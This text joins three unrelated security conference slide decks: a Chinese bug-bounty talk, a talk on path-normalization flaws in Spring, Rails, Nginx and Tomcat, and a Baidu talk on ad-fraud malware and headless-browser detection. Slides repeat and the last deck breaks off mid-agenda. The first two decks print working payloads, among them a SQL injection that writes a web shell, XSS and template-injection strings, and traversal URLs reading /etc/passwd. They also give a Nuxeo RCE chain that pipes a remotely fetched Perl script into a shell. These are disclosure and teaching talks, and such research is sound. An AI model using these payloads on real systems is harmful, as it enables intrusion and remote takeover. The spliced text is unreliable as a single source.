www.facebooksuppliers.com
認命做苦工活QQ
Facebook Remote Code Execution
• 從過往紀錄感覺打得進
拿到 VM
解 ionCube
剩下就是你們的事了
• 拿 Shell
OR 1=1 LIMIT 1 INTO OUTFILE '...' LINES TERMINTATED by
0x3c3f... #
• 拿 Root
有新功能要上怎麼辦?
給用戶一個更新按鈕
不想重造輪子有什麼現有的更新方案?
Yum install
Yum install 權限不夠怎麼辦?
加 Sudoers
網頁執行要輸入密碼怎麼辦?
加 NOPASSWD
認命做苦工活QQ
Facebook Remote Code Execution
認命做苦工活QQ
Facebook Remote Code Execution
認命做苦工活QQ
Facebook Remote Code Execution
尋找漏洞的思路
• 有做功課的 Bonus
• 天下武功唯快不破
• 認命做苦工活QQ
• 平行權限與邏輯問題
• 少見姿勢與神思路
• Google Hacking
site:*.apple.com –www -developer -...
http://lookup-api.apple.com/wikipedia.org/
平行權限與邏輯問題
Apple XSS
• lookup-api.apple.com/wikipedia.org
# ok
• lookup-api.apple.com/orange.tw
# failed
• lookup-api.apple.com/en.wikipedia.org
# ok
• lookup-api.apple.com/ja.Wikipedia.org
# ok
平行權限與邏輯問題
Apple XSS
• 難道這段扣錯了嗎?
if (preg_match("/.wikipedia.org$/", $parsed_url['host']))
// do proxy
else
// goto fail
平行權限與邏輯問題
Apple XSS
花 NT$720 有個 XSS
好像不賴XD
平行權限與邏輯問題
Apple XSS
平行權限與邏輯問題
Apple XSS
尋找漏洞的思路
• 有做功課的 Bonus
• 天下武功唯快不破
• 認命做苦工活QQ
• 平行權限與邏輯問題
• 少見姿勢與神思路
少見姿勢與神思路
• 針對架構的了解
• 非主流的漏洞, 越少人知道的東西越有搞頭
• 思路的培養
CTF (Capture the Flag)
其他獎金獵人的 Write Ups
對新技術的追逐
跨界
少見姿勢與神思路
Apple RCE, 第一次進入 Apple 內網
• 忘記密碼 -> 在某個找回密碼流程中出現的頁面
http://abs.apple.com/ssurvey/thankyou.action
• 那時網路意識不高
Jboss, Tomcat, WebObjects 愛用者
掃到一堆 /CVS/
少見姿勢與神思路
Apple RCE, 第一次進入 Apple 內網
• Struts2 漏洞在 2012 年根本沒啥人知道
• Google Trend of Struts2
?
?
Apple RCE
少見姿勢與神思路
Apple RCE, 第一次進入 Apple 內網
少見姿勢與神思路
Apple RCE, 第一次進入 Apple 內網
發現的經典模式
發現的經典模式是:
「你尋找你知道的東西(比如到達印度的新方法)
結果發現了一個你不知道的東西(美洲)」
• 掃 OO 廠商範圍時發現一個 IP
怎麼判斷 IP 是不是屬於 OO 廠商? 看憑證
• 進去發現是某國外大廠寫的 OO 系統
Struts2 撰寫
Full Updated
No more s2-0xx
少見姿勢與神思路
某大廠商 XSS 0-Day 發現經過
• 思路:
Struts2 撰寫 action 都需繼承 ActionSupport
因此要判斷一個網站是不是 Struts2 所撰寫只要在尾巴加
個 ?actionErrors=1 即可
/whatever.action?actionErrors=<svg/onload=alert(1)>
public void setActionErrors(Collection<String> errorMessages) {
validationAware.setActionErrors(errorMessages);
}
少見姿勢與神思路
某大廠商 XSS 0-Day 發現經過
少見姿勢與神思路
某大廠商 XSS 0-Day 發現經過
• 思路:
Struts2 撰寫 action 都需繼承 ActionSupport
因此要判斷一個網站是不是 Struts2 所撰寫只要在尾巴加
個 ?actionErrors=1 即可
/whatever.action?actionErrors=<svg/onload=alert(1)>
public void setActionErrors(Collection<String> errorMessages) {
validationAware.setActionErrors(errorMessages);
}
One more things...
如果被過濾怎麼辦?
Thanks for AngularJS
{{'a'.constructor.prototype.charAt=[].join;
$eval('x=1} } };alert(1)//');}}
• Template 相關攻擊手法是近幾年比較夯的東西, 但較少人關注
Client Side Template Injection
Server Side Template Injection
• Uber 在自身技術部落格有提到產品技術細節
主要是 NodeJS 與 Flask
少了做指紋辨識的時間
少見姿勢與神思路
Uber SSTI RCE
• riders.uber.com
修改姓名使用等到寄信通知帳號變更
Cheng Da{{ 1+1 }}
少見姿勢與神思路
Uber SSTI RCE
• Python Sandbox Bypass
{{ [].__class__.__base__.__subclasses__() }}
Hi, [<type 'type'>, <type 'weakref'>,
<type 'weakcallableproxy'>, <type 'weakproxy'>,
<type 'int'>, <type 'basestring'>,
..., <class 'upi.sqlalchemy.UberAPIModel'>, ...
..., <class 'celery.worker.job.Request'>, ... ]
• Asynchronous Task
Template( "Hi, %s ..." % get_name_from_db() )
少見姿勢與神思路
Uber SSTI RCE
少見姿勢與神思路
Uber SSTI RCE
• Python Sandbox Bypass
{{ [].__class__.__base__.__subclasses__() }}
Hi, [<type 'type'>, <type 'weakref'>,
<type 'weakcallableproxy'>, <type 'weakproxy'>,
<type 'int'>, <type 'basestring'>,
..., <class 'upi.sqlalchemy.UberAPIModel'>, ...
..., <class 'celery.worker.job.Request'>, ... ]
• Asynchronous Task
Template( "Hi, %s ..." % get_name_from_db() )
結語
• 一起成為獎金獵人吧 !
• 勿驕矜自滿, 勿忘初衷
• Organizing Your Know-How, Building Your Own Tool
閱讀資源
Google Bughunter University
Bugcrowd
List Of Bug Bounty Programs
Hackerone
Hacktivity
Xsses.com
Facebook Bug Bounties by @phwd
Wooyun.org
Thank you
[email protected]
blog.orange.tw | pdf |
Breaking Parser Logic!
Take Your Path Normalization Off and Pop 0days Out
Orange Tsai
Orange Tsai
• Security researcher at DEVCORE
• Hacks in Taiwan member
orange_8361
Agenda
1.
Introduce the difficulty
2. In-depthly review existing implementations
3. New multi-layered architecture attack surface
Normalize
To make standard; determine the value by comparison to
an item of known standard value
Why normalization?
To protect something
Inconsistency
if (check(path)) {
use(path)
}
Why path normalization
• Most web handle files(and apply lots of security mechanism)
• Lack of overall security review
• Code change too fast, does the patch and protection still work?
• The 3 years Mojarra story - from CVE-2013-3827 to CVE-2018-1234
How parsers could be failed?
Can you spot the vulnerability?
static String QUOTED_FILE_SEPARATOR = Pattern.quote(File.separator)
static String DIRECTIVE_FILE_SEPARATOR = '/'
public AssetFile getAsset(String relativePath) {
if(!relativePath)
return null
relativePath = relativePath.replace( QUOTED_FILE_SEPARATOR,
DIRECTIVE_FILE_SEPARATOR)
replace v.s. replaceAll
String replace(String target, String replacement)
String replaceAll(String regex, String replacement)
Can you spot the vulnerability?
static String QUOTED_FILE_SEPARATOR = Pattern.quote(File.separator)
static String DIRECTIVE_FILE_SEPARATOR = '/'
public AssetFile getAsset(String relativePath) {
if(!relativePath)
return null
relativePath = relativePath.replace( QUOTED_FILE_SEPARATOR,
DIRECTIVE_FILE_SEPARATOR)
Pattern.quote("/") = "\Q/\E"
..\Q/\E is the new ../ in Grails
/app/static/ v.s. /app/static
How single slash could be failed?
Nginx off-by-slash fail
• First shown in 2016 December HCTF - credit to @iaklis
• A good attack vector but very few people know
• Nginx says this is not their problem
• Nginx alias directive
• Defines a replacement for the specified location
Nginx off-by-slash fail
http://127.0.0.1/static/../settings.py
Nginx normalizes /static/../settings.py to /settings.py
does not match the rule
location /static {
alias /home/app/static/;
}
Nginx off-by-slash fail
http://127.0.0.1/static../settings.pya
Nginx matches the rule and appends the remainder to destination
/home/app/static/../settings.py
location /static {
alias /home/app/static/;
}
How to find in real world
• Discovered in a private bug bounty program and got the
maximum bounty from that program!
200
http://target/static/app.js
403
http://target/static/
404
http://target/static/../settings.py
403
http://target/static../
200
http://target/static../static/app.js
200
http://target/static../settings.py
new URL("file:///etc/passwd?/../../Windows/win.ini")
Windows treat as UNC
Linux treat as URL
Polyglot URL path
• Applications relied on getPath() in Windows
• Normalized result from getFile() or toExternalForm() in Linux
URL base = new URL("file:///C:/Windows/temp/");
URL url
= new URL(base, "file?/../../win.ini");
URL base = new URL("file:///tmp/");
URL url = new URL(base, "../etc/passwd?/../../tmp/file");
0days I found
CVE
Ruby on Rails
CVE-2018-3760
Sinatra
CVE-2018-7212
Spring Framework
CVE-2018-1271
Spark Framework
CVE-2018-9159
Jenkins
Pending
Mojarra
Pending
Next.js
CVE-2018-6184
resolve-path
CVE-2018-3732
Aiohttp
None
Lighttpd
Pending
Agenda
1.
Introduce the difficulty
2. In-depthly review existing implementations
• Discovered Spring Framework CVE-2018-1271
• Discovered Ruby on Rails CVE-2018-3760
3. New multi-layered architectures attack surface
Spring 0day - CVE-2018-1271
• Directory Traversal with Spring MVC on Windows
• The patch of CVE-2014-3625
1.
isInvalidPath(path)
2.
isInvalidPath(URLDecoder.decode(path, "UTF-8"))
3.
isResourceUnderLocation(resource, location)
1 protected boolean isInvalidPath(String path) {
2
if (path.contains("WEB-INF") || path.contains("META-INF")) {
3
return true;
4
}
5
if (path.contains(":/")) {
6
return true;
7
}
8
if (path.contains("..")) {
9
path = cleanPath(path);
10
if (path.contains("../"))
11
return true;
12
}
13
14
return false;
15 }
Dangerous Pattern :(
1
public static String cleanPath(String path) {
2
String pathToUse = replace(path, "\\", "/");
3
4
String[] pathArray = delimitedListToStringArray(pathToUse, "/");
5
List<String> pathElements = new LinkedList<>();
6
int tops = 0;
7
8
for (int i = pathArray.length - 1; i >= 0; i--) {
9
String element = pathArray[i];
10
if (".".equals(element)) {
11
12
} else if ("..".equals(element)) {
13
tops++;
14
} else {
15
if (tops > 0)
16
tops--;
17
else
18
pathElements.add(0, element);
19
}
20
}
21
22
for (int i = 0; i < tops; i++) {
23
pathElements.add(0, "..");
24
}
25
return collectionToDelimitedString(pathElements, "/");
26
}
1
public static String cleanPath(String path) {
2
String pathToUse = replace(path, "\\", "/");
3
4
String[] pathArray = delimitedListToStringArray(pathToUse, "/");
5
List<String> pathElements = new LinkedList<>();
6
int tops = 0;
7
8
for (int i = pathArray.length - 1; i >= 0; i--) {
9
String element = pathArray[i];
10
if (".".equals(element)) {
11
12
} else if ("..".equals(element)) {
13
tops++;
14
} else {
15
if (tops > 0)
16
tops--;
17
else
18
pathElements.add(0, element);
19
}
20
}
21
22
for (int i = 0; i < tops; i++) {
23
pathElements.add(0, "..");
24
}
25
return collectionToDelimitedString(pathElements, "/");
26
}
Allow empty element?
Spring 0day - CVE-2018-1271
Input
cleanPath
File system
/
/
/
/../
/../
/../
/foo/../
/
/
/foo/../../
/../
/../
/foo//../
/foo/
/
/foo///../../
/foo/
/../
/foo////../../../
/foo/
/../../
Spring 0day - CVE-2018-1271
• How to exploit?
$ git clone [email protected]:spring-projects/spring-amqp-samples.git
$ cd spring-amqp-samples/stocks
$ mvn jetty:run
http://127.0.0.1:8080/spring-rabbit-stock/static/%255c%255c%255c%255c%255c
%255c..%255c..%255c..%255c..%255c..%255c..%255c /Windows/win.ini
Spring 0day - CVE-2018-1271
• Code infectivity? Spark framework CVE-2018-9159
• A micro framework for web application in Kotlin and Java 8
commit 27018872d83fe425c89b417b09e7f7fd2d2a9c8c
Author: Per Wendel <[email protected]>
Date: Sun May 18 12:04:11 2014 +0200
+ public static String cleanPath(String path) {
+ if (path == null) {
+ ...
Rails 0day - CVE-2018-3760
• Path traversal on @rails/sprockets
• Sprockets is the asset pipeline system in Rails
• Affected Rails under development environment
• Or production mode with assets.compile flag on
Vulnerable enough!
$ rails new blog && cd blog
$ rails server
Listening on tcp://0.0.0.0:3000
Rails 0day - CVE-2018-3760
1.
Sprockets supports file:// scheme that bypassed absolute_path?
2.
URL decode bypassed double slashes normalization
3.
Method split_file_uri resolved URI and unescape again
• Lead to double encoding and bypass forbidden_request? and prefix check
http://127.0.0.1:3000/assets/file:%2f%2f/app/assets/images
/%252e%252e/%252e%252e/%252e%252e/etc/passwd
For the RCE lover
• This vulnerability is possible to RCE
• Inject query string %3F to File URL
• Render as ERB template if the extension is .erb
http://127.0.0.1:3000/assets/file:%2f%2f/app/assets/images/%252e%252e
/%252e%252e/%252e%252e/tmp/evil.erb%3ftype=text/plain
<%=`id`%>
/tmp/evil.erb
• 貓
By Michael Saechang @Flickr
By Jonathan Leung @Flickr
By daisuke1230 @Flickr
Agenda
1.
Introduce the difficulty
2. In-depthly review existing implementations
3. New multi-layered architecture attack surface
• Remote Code Execution on Bynder
• Remote Code Execution on Amazon
P.S. Thanks Amazon and Bynder for the quick response time and open-minded vulnerability disclosure
URL path parameter
• d
• Some researchers already mentioned this may lead issues but it still
depended on programming fails
• How to teach an old dog new tricks?
http://example.com/foo;name=orange/bar/
Reverse proxy architecture
Share resource
Load balance
Cache
Security
Client
static files
- images
- scripts
- files
Tomcat
Apache
Multi-layered architectures
http://example.com/foo;name=orange/bar/
Behavior
Apache
/foo;name=orange/bar/
Nginx
/foo;name=orange/bar/
IIS
/foo;name=orange/bar/
Tomcat
/foo/bar/
Jetty
/foo/bar/
WildFly
/foo
WebLogic
/foo
BadProxy.org
Not really! Just a joke
How this vuln could be?
• Bypass whitelist and blacklist ACL
• Escape from context mapping
• Management interface
• Web container console and monitor
• Web contexts on the same server
Am I affected by this vuln?
• This is an architecture problem and vulnerable by default
if you are using reverse proxy and Java as backend service
• Apache mod_jk
• Apache mod_proxy
• Nginx ProxyPass
• …
http://example.com/portal/..;/manager/html
/..;/ seems like a directory,
pass to you
Shit! /..;/ is
parent directory
/..;/ seems like a directory,
pass to you
Shit! /..;/ is
parent directory
http://example.com/portal/..;/manager/html
Uber bounty case
• Uber disallow directly access *.uberinternal.com
• Redirect to OneLogin SSO by Nginx
• A whitelist for monitor purpose?
https://jira.uberinternal.com/status
https://jira.uberinternal.com/status/..;/secure/Dashboard.jspa
/..;/ seems like a directory,
match /status whitelist
Oh shit! /..;/ is
parent directory
https://jira.uberinternal.com/status/..;/secure/Dashboard.jspa
/..;/ seems like a directory,
match /status whitelist
Oh shit! /..;/ is
parent directory
Amazon RCE case study
• Remote Code Execution on Amazon Collaborate System
• Found the site collaborate-corp.amazon.com
• Running an open source project Nuxeo
• Chained several bugs and features to RCE
Path normalization bug leads to
ACL bypass
How ACL fetch current request page?
protected static String getRequestedPage(HttpServletRequest httpRequest) {
String requestURI = httpRequest.getRequestURI();
String context = httpRequest.getContextPath() + '/';
String requestedPage = requestURI.substring(context.length());
int i = requestedPage.indexOf(';');
return i == -1 ? requestedPage : requestedPage.substring(0, i);
}
Path normalization bug leads to
ACL bypass
The path processing in ACL control is inconsistent with servlet
container so that we can bypass whitelists
URL
ACL control
Tomcat
/login;foo
/login
/login
/login;foo/bar;quz
/login
/login/bar
/login;/..;/admin
/login
/login/../admin
Code reuse bug leads to
Expression Language injection
• Most pages return NullPointerException :(
• Nuxeo maps *.xhtml to Seam Framework
• We found Seam exposed numerous Hacker-Friendly features
by reading source code
Seam Feature
aaa
If there is a foo.xhtml under servlet context you can
execute the partial EL by actionMethod
http://127.0.0.1/home.xhtml?actionMethod:/foo.xhtml:
utils.escape(...)
"#{util.escape(...)}"
foo.xhtml
To make thing worse, Seam will evaluate again if the previous
EL return string like an EL
http://127.0.0.1/home.xhtml?actionMethod:/foo.xhtml:
utils.escape(...)
return
"#{util.escape(...)}"
foo.xhtml
evaluate
#{malicious}
type(string)
Code reuse bug leads to
Expression Language injection
We can execute partial EL in any file under servlet context but
need to find a good gadget to control the return value
<nxu:set var="directoryNameForPopup"
value="#{request.getParameter('directoryNameForPopup')}"
cache="true">
widgets/suggest_add_new_directory_entry_iframe.xhtml
Code reuse bug leads to
Expression Language injection
We can execute partial EL in any file under servlet context but
need to find a good gadget to control the return value
<nxu:set var="directoryNameForPopup"
value="#{request.getParameter('directoryNameForPopup')}"
cache="true">
widgets/suggest_add_new_directory_entry_iframe.xhtml
getClass(
class.
addRole(
getPassword(
removeRole(
org/jboss/seam/blacklist.properties
EL blacklist bypassed leads to
Remote Code Execution
"".getClass().forName("java.lang.Runtime")
""["class"].forName("java.lang.Runtime")
We can execute arbitrary EL but fail to run a command
Chain all together
1.
Path normalization bug leads to ACL bypass
2. Bypass whitelist to access unauthorized Seam servlet
3. Use Seam feature actionMethod to invoke gadgets in files
4. Prepare second stage payload in directoryNameForPopup
5. Bypass EL blacklist and use Java reflection API to run shell command
?actionMethod=
widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')
&directoryNameForPopup=
/?=#{
request.setAttribute(
'methods',
''['class'].forName('java.lang.Runtime').getDeclaredMethods()
)
---
request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),
'curl orange.tw/bc.pl | perl -'
)
}
https://host/nuxeo/login.jsp;/..;/create_file.xhtml
?actionMethod=
widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')
&directoryNameForPopup=
/?=#{
request.setAttribute(
'methods',
''['class'].forName('java.lang.Runtime').getDeclaredMethods()
)
---
request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),
'curl orange.tw/bc.pl | perl -'
)
}
https://host/nuxeo/login.jsp;/..;/create_file.xhtml
&directoryNameForPopup=
/?=#{
request.setAttribute(
'methods',
''['class'].forName('java.lang.Runtime').getDeclaredMethods()
)
---
request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),
'curl orange.tw/bc.pl | perl -'
)
}
https://host/nuxeo/login.jsp;/..;/create_file.xhtml
?actionMethod=
widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')
?actionMethod=
widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')
&directoryNameForPopup=
/?=#{
request.setAttribute(
'methods',
''['class'].forName('java.lang.Runtime').getDeclaredMethods()
)
---
request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),
'curl orange.tw/bc.pl | perl -'
)
}
https://host/nuxeo/login.jsp;/..;/create_file.xhtml
?actionMethod=
widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')
&directoryNameForPopup=
/?=#{
request.setAttribute(
'methods',
''['class'].forName('java.lang.Runtime').getDeclaredMethods()
)
---
request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),
'curl orange.tw/bc.pl | perl -'
)
}
https://host/nuxeo/login.jsp;/..;/create_file.xhtml
?actionMethod=
widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')
&directoryNameForPopup=
/?=#{
request.setAttribute(
'methods',
''['class'].forName('java.lang.Runtime').getDeclaredMethods()
)
---
request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),
'curl orange.tw/bc.pl | perl -'
)
}
https://host/nuxeo/login.jsp;/..;/create_file.xhtml
?actionMethod=
widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')
&directoryNameForPopup=
/?=#{
request.setAttribute(
'methods',
''['class'].forName('java.lang.Runtime').getDeclaredMethods()
)
---
request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),
'curl orange.tw/bc.pl | perl -'
)
}
https://host/nuxeo/login.jsp;/..;/create_file.xhtml
?actionMethod=
widgets/suggest_add_new_directory_entry_iframe.xhtml:
request.getParameter('directoryNameForPopup')
https://host/nuxeo/login.jsp;/..;/create_file.xhtml
&directoryNameForPopup=
/?=#{
request.setAttribute(
'methods',
''['class'].forName('java.lang.Runtime').getDeclaredMethods()
)
---
request.getAttribute('methods')[15].invoke(
request.getAttribute('methods')[7].invoke(null),
'curl orange.tw/bc.pl | perl -'
)
}
Summary
1.
Implicit properties and edge cases on path parsers
2. New attack surface on multi-layered architectures
3. Case studies in new CVEs and bug bounty programs
Mitigation
• Isolate the backend application
• Remove the management console
• Remote other servlet contexts
• Check behaviors between proxy and backend servers
• Just a Proof-of-Concept to disable URL path parameter on both
Tomcat and Jetty
References
• Java Servlets and URI Parameters
By @cdivilly
• 2 path traversal defects in Oracle's JSF2 implementation
By Synopsys Editorial Team
• CVE-2010-1871: JBoss Seam Framework remote code execution
By @meder
orange_8361
[email protected]
Thanks! | pdf |
#BHUSA @BlackHatEvents
The Battle Against the Billion-Scale Internet
Underground Industry: Advertising Fraud Detection
and Defense
Zheng Huang | Chief Architect of Security Department, Baidu
Shupeng Gao | Senior Security Researcher, Baidu
Yakun Zhang | Senior Security Researcher, Baidu
Hai Yang | Senior Security Researcher, Baidu
Jie Gao | Senior Security Researcher, Baidu
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
• Background
• Advertising fraud and anti-fraud
• In-depth analysis of typical cases
• Crowd and key tech analysis
• Detection and defense
• Summary and recommendations
#BHUSA @BlackHatEvents
Information Classification: General
Advertising
Alliance
Platform
Advertiser
Advertiser
Advertiser
Website
APP
We Media
Mini Program
Advertising Style
splash
ad
news
feed ad
banner
ad
incentive
video ad
Background
H5 ad
#BHUSA @BlackHatEvents
Information Classification: General
CPC (Cost Per Click)
OCPC (Optimized Cost
per Click)
CPM (Cost Per Mille)
CPA (Cost Per Action)
PV (Page View)
Advertising
Alliance
one
hundred
thousand
advertiser
one
hundred
thousand
APP
a billion
MAU
Advertising
Alliance
Advertising
Alliance
Advertising
Alliance
Background
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
• Background
• Advertising fraud and anti-fraud
• In-depth analysis of typical cases
• Crowd and key tech analysis
• Detection and defense
• Summary and recommendations
#BHUSA @BlackHatEvents
Information Classification: General
Advertising
Alliance
Platform
Advertiser
Advertiser
Advertiser
Website
APP
We Media
Mini Program
Advertising Style
splash
ad
news
feed ad
banner
ad
incentive
video ad
Advertising fraud and anti-fraud
H5 ad
1
2
3
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
• Background
• Advertising fraud and anti-fraud
• In-depth analysis of typical cases
• Crowd and key tech analysis
• Detection and defense
• Summary and recommendations
#BHUSA @BlackHatEvents
Information Classification: General
• A data analysis company, well trusted by many developers
• Their SDK was merged into many popular APPs
• The big data analysis SDK loading malware DEX dynamic from network
CASE 1: Malware in mobile big data analysis SDK
In-depth analysis of typical cases
#BHUSA @BlackHatEvents
Information Classification: General
Server A
Server B
Server C
Server D
Server E
patch.jar
① Request latest patch.
req hotpatch
req cloudZ.jar
cloudZ.jar
② Request step1 jar.
(encrypted, needs
decrypt and
decompress)
cloudL
cloudE
encoded
decode
③ Include two resources.
“cloudE” jar decodes
“cloudL”.
cloudE.jar
req plugin
plugE.jar
req script
auto-click script
④ Request plugin jar. ⑤ Get auto-click script
and parameters.
CASE 1: Malware in mobile big data analysis SDK
In-depth analysis of typical cases
#BHUSA @BlackHatEvents
Information Classification: General
• Download config, inject auto-click script into invisible webview, scroll, wait, click…
Invisible
webview
CASE 1: Malware in mobile big data analysis SDK
dispatch
task
In-depth analysis of typical cases
#BHUSA @BlackHatEvents
Information Classification: General
• Use ActivityContainer technology
- Hook ActivityThread start Activity invisible
- Hook IWindowSession proxy sWindowSession
- Custom WindowManager and ViewRootImpl
- Cut off WindowManager with PhoneWindow
• Load native advertise in invisible activity
- Simulate user interaction to click on an ad
- Misleading users to click on ads
- Transfer user interaction to activity
CASE 1: Malware in mobile big data analysis SDK
In-depth analysis of typical cases
#BHUSA @BlackHatEvents
Information Classification: General
Popular Mobile Apps
Mobile advertising
platforms
Advertising
monetization
platforms
Well-known big-
data analysis
company
Media
Profit channel
Well-known
application
development
companys
C&C Server
Sale channels
Provide backdoor
Provide Sdk
Using invisible webview and activity
Automatically click for ad fraud
CASE 1: Malware in mobile big data analysis SDK
Dispatch
backdoor
Customs
In-depth analysis of typical cases
#BHUSA @BlackHatEvents
Information Classification: General
Case 2: malware in PC bundled software installer
In-depth analysis of typical cases
#BHUSA @BlackHatEvents
Information Classification: General
Case 2: malware in PC bundled software installer
In-depth analysis of typical cases
#BHUSA @BlackHatEvents
Information Classification: General
Case 2: malware in PC bundled software installer
In-depth analysis of typical cases
#BHUSA @BlackHatEvents
Information Classification: General
Case 2: malware in PC bundled software installer
In-depth analysis of typical cases
Hijack user’s
browser, using
JSONP api to add
fans to wemedia
#BHUSA @BlackHatEvents
Information Classification: General
Case 2: malware in PC bundled software installer
In-depth analysis of typical cases
Hijack user’s browser,
replace/add profit
channel in request
#BHUSA @BlackHatEvents
Information Classification: General
Case 3: Variety of malicious ad click tools
In-depth analysis of typical cases
#BHUSA @BlackHatEvents
Information Classification: General
JingYi web browser library in EPL (Easy
Programming Language) , based on
miniblink, support simulation:
- navigator.maxTouchPoints
- navigator.platform
-navigator.hardwareConcurrency
- screen.height
- screen.availWidth
- screen.availHeight
- screen.pixelDepth
- touch screen
- useragent
In-depth analysis of typical cases
Case 3: Variety of malicious ad click tools
#BHUSA @BlackHatEvents
Information Classification: General
Case 3: Variety of malicious ad click tools
In-depth analysis of typical cases
#BHUSA @BlackHatEvents
Information Classification: General
Captain module in EPL (Easy
Programming Language):
- Tag as China Puppeteer
- Free, stable, open source
- Various camouflages: UA,
geolocation, mobile mode, screen size,
device orientation, cpu throttling, touch
support
- Fingerprint plugins disguise browser
fingerprints
- Support javascript injection
- Manual-grade keyboard and mouse,
not system commands but chrome
commands
In-depth analysis of typical cases
Case 3: Variety of malicious ad click tools
#BHUSA @BlackHatEvents
Information Classification: General
• mobile version keypress genius software integrated with Android simulator
In-depth analysis of typical cases
Case 3: Variety of malicious ad click tools
#BHUSA @BlackHatEvents
Information Classification: General
Case 3: Variety of malicious ad click tools
In-depth analysis of typical cases
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
• Background
• Advertising fraud and anti-fraud
• In-depth analysis of typical cases
• Crowd and key tech analysis
• Detection and defense
• Summary and recommendations
#BHUSA @BlackHatEvents
Information Classification: General
Crowd analysis on underground industry practitioners
• High-level underground industry group characteristic
- Corporatized operation, dozens to hundreds of people involved
- Some of them have registered a large number of companies
- They claim to be advertising monetization platforms, SSP platforms
- Some of them Wearing the coat of a high-tech company
- The underground industrial chain has a clear division of labor
- Cheat technology develop, malware, profit channels are separated
- Strong technical ability and high intensity of anti analysis and detection
- Huge profit scale, huge infected user base, and bad social impact
Crowd and key tech analysis
#BHUSA @BlackHatEvents
Information Classification: General
Crowd analysis on underground industry practitioners
• Low-level underground industry group characteristic
- Individual or small team, small scale group
- Mostly their education level are junior high school and high school
- Skilled in writing script: python, nodejs, ruby, EPL, MQ, etc.
- Weak legal awareness, no fear, no rules, most of them are poor
- Low technical ability, but very diligent in order to make a profit
- They produce tools that sell for less and don't make much profit
- They also have a technology exchange, tool procurement ecosystem
- They can also lead to massive damage and bad social impact
Crowd and key tech analysis
#BHUSA @BlackHatEvents
Information Classification: General
Tech analysis on underground industry practitioners
• High-level underground industry group technology summarize
• Mobile Phone Platform
- Reverse engineering and repackage/wrap ad platform SDK
- Anti-debugging, anti-analysis, obfuscation, dynamic loading of dex/jar
- Highly custom developed webview, usually using JSBridge for control
- Using backdoors to control the phones of a large number of real users
- Some gangs could silently rooting user's phone with android exploits
- Invisible ad presentation and automatic click simulation
•
PC Platform
- Highly customized browsers or browser extensions hijack and modify traffic
- Some gangs use drivers or local proxies to hijack and modify traffic
Crowd and key tech analysis
#BHUSA @BlackHatEvents
Information Classification: General
Tech analysis on underground industry practitioners
• Low-level underground industry group technology summarize
- Using PC simulation mobile phone:Chrome F12 device emulator
- Using PC browser library:CEFSharp,CEF,minibrowser
- Headless/ automated browser:Puppeteer,Selenium,Playwright
- Cloud mobile phone with automatic operation plug-in
- Group control mobile phone, proxy server, VPN
- Key Press Genius:PC & mobile
- Flow Wizard(流量精灵)、 Flow treasure(流量宝)
Crowd and key tech analysis
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
• Background
• Advertising fraud and anti-fraud
• In-depth analysis of typical cases
• Crowd and key tech analysis
• Detection and defense
• Summary and recommendations
#BHUSA @BlackHatEvents
Information Classification: General
About Project Heracles
• Vision/Motivation
- To identify and separate typical cheating and fraudulent traffic
- Track and trace ad-fraud underground industry practitioners
• Detection targets
- All technology involved in high-level and low-level groups
• Who is the main R&D
- Security researchers
• Execution path
- Fingerprint? Information leak?
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Detection and defense agenda
• Headless/automated Browser Detection
• Detect invisible mobile native/webview ad click
• Detect android simulator and mobile key press genius
• Detect malware PC browser extension hijack
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Headless/automated Browser Detection
• Headless/automated Chrome is based on CDP(Chrome DevTools Protocol)
ref
Python
Java
Ruby
nodejs
Puppeteer
Playwright
Chrome
Script program language
Headless browser library
Browser process
use library
CDP
Websocket
http
PhantomJS
Selenium
Firefox
Edge
Safari
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Headless/automated Browser Detection
• Previously public disclosed detection methods list
Headless Browser
UserAgent
incl. “Headless”
AppVersion
incl. “Headless”
Webdriver
true
Chrome
window.chrome
Plugins
don’t have plugins
MimeType
don‘t have mime type
Language
has no language
Devtools
devtools protocol
Headless Browser
Permission
contradictory values
Time elapse
alert closed fast
Broken image
image width & height is 0
Mouse move
movementX & movementY is 0
WebGL
WebGL Vendor & Renderer
OuterDim
outerWidth & outerHeight is 0
RTT
navigator.connection.rtt is 0
...
...
• https://github.com/infosimples/detect-headless
• https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth/evasions
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Headless/automated Browser Detection
• The shortcoming of previously public disclosed detection methods
shortcoming
UserAgent
Easy to bypass
AppVersion
Easy to bypass
Webdriver
Can be closed by set args
Chrome
Diff chrome vs chromium
Plugins
Seems not work
MimeType
Diff chrome vs chromium
Language
Diff chrome vs chromium
Devtools
Seems not work
shortcoming
Permission
Seems not work
Time elapse
affect user experience
Broken image
Seems not work
Mouse move
Need to wait, not stable
WebGL
Easy to hook bypass
OuterDim
Seems not work
RTT
Seems not work
...
...
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
Headless/automated Browser Detection
• From security researcher's perspective
• How to analysis:
- The different between Headless Chrome and Normal Chrome
-- the different characteristics are important
- An in-depth look at the implementation of headless browser
-- The key to find stable features to detect
Detection and defense
#BHUSA @BlackHatEvents
Information Classification: General
